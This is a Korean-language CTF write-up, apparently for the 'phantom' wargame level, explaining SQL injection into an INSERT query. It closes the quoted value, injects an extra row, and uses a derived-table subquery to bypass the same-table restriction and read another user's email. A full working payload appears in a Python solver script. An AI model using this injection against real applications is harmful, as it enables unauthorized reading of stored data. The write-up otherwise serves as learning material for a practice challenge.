이번 문제는 Insert into문 내에서 어떻게 select문을 통해 데이터를 가져올 것인지를 묻는 문제다.
먼저 해당 문제의 쿼리를 확인해보자.
insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')
prob_phantom이라는 테이블에 각각 0, 자신의IP주소, joinmail의 인자값을 넣어주는 쿼리임을 알 수 있다.
결국 해당 쿼리만으로는 공격할 수 있는 값을 넣기 어렵기때문에 single quoter를 닫아주고 새롭게 VALUE를 다음과 같이 만들어 주어야 한다.
insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','')(0,'IP주소',공격할값) %23 ')
여기서 나는 공격할 값부분 select문을써서 풀면 금방 풀릴줄 알았는데 아니었다.
SELECT email FROM prob_phantom WHERE no=1
을 넣어서 문제를 해결하려고 했더니 해당 쿼리가 먹히질 않았다. 여기서 수많은 삽질이 시작되고 인터넷에서 찾아봐도
Insert into구문에 select를 쓰는건
INSERT INTO prob_phantom
SELECT ~
같이 VALUES가 없다는 가정에서 사용되고 insert into에서는 서브쿼리가 작동하지 않는다는 그런 잘못된정보?로 인해서
결국 포기하고 write up을 봤다.
그러자 무려 이 문제는 "서브쿼리"로 푸는게 맞았다.
내가 위에서 사용한 서브쿼리가 작동하지 않은것은 같은테이블은 INSERT INTO에 적용되지 않는다는 것이 그 이유였다,
결국 이 문제의 해결방법은 임시 테이블을 만들어서 해당 테이블에 데이터를 넣고 다시 임시 테이블에서 데이터를 뽑아오는것이 해답이었다.
임시테이블
(select tmp/*{match:1}*/ from (select "불러올 칼럼명" as tmp/*{match:1}*/ from prob_phantom where no=1)as t/*임시 테이블 네임*/)
여기서 tmp부분은 자유롭게 이름을 설정해도 된다. 말 그대로 임시 이름이기 때문에
Python Code
sql.setProb("phantom")
sql.setData(joinmail="something'),(20,'your ip',(select tmp from (select email as tmp from prob_phantom where no=1)as t))%23")
sql.run()
sql.log(sql.result)
sql.ctable()
sql.ptable()